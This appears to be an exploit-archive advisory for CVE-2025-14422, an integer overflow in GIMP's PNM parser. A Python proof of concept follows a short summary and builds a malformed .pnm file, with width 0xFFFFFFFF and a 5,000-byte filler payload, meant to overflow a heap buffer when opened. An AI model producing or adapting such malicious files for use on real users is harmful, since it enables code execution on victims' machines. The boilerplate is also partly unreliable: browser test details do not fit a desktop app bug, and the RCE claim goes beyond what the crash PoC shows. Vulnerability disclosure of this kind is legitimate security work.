GIMP PNM Integer Overflow

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| # Title GIMP PNM Integer Overflow

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| # Title : GIMP PNM Integer Overflow |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://redhat.com/ |
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[+] References : https://packetstorm.news/files/id/214572/ & CVE-2025-14422

[+] Summary : This discussion centers on a critical security vulnerability discovered in GIMP (GNU Image Manipulation Program),
specifically within its PNM (Portable Anymap) file parsing logic. The flaw, identified as CVE-2025-14422,
is an Integer Overflow that occurs when the application processes malformed image headers containing excessively large dimensions.

[+] Key Technical Details:

The Flaw: When calculating the memory buffer size (Width?Height?3), the result exceeds the maximum value for a 32-bit integer, causing it to "wrap around" to a very small number.

The Impact: GIMP allocates an undersized buffer based on the overflowed value. When it proceeds to write the actual pixel data from the file into this buffer, a Heap-based Buffer Overflow occurs.

Risk: This vulnerability allows for Remote Code Execution (RCE). An attacker can execute arbitrary code in the context of the current user simply by tricking them into opening a malicious .pnm file.

Mitigation: Red Hat and other Linux vendors have released urgent patches (e.g., RHSA-2026:1591). Users must update GIMP to the latest version to close this security gap.

[+] PoC Overview

The provided Python script serves as a Proof of Concept to demonstrate the vulnerability. It generates a .pnm file with:

A standard P6 header.

Width set to 0xFFFFFFFF to trigger the mathematical overflow.

A payload of 5,000 bytes to ensure the undersized buffer is overwhelmed.


[+] POC :

#!/usr/bin/env python3

import struct
import sys

def create_malicious_pnm(filename):

header = b"P6\n"
width = 0xFFFFFFFF
height = 2

header += f"{width} {height}\n".encode()
header += b"255\n"

payload = b"A" * 5000

try:
with open(filename, 'wb') as f:
f.write(header)
f.write(payload)
print(f"[+] Malicious PNM file created successfully: {filename}")
print("[*] WARNING: Do not open this file unless in an isolated test environment.")
except Exception as e:
print(f"[-] Failed to create file: {e}")

if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 poc.py <filename.pnm>")
sys.exit(1)

create_malicious_pnm(sys.argv[1])

Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
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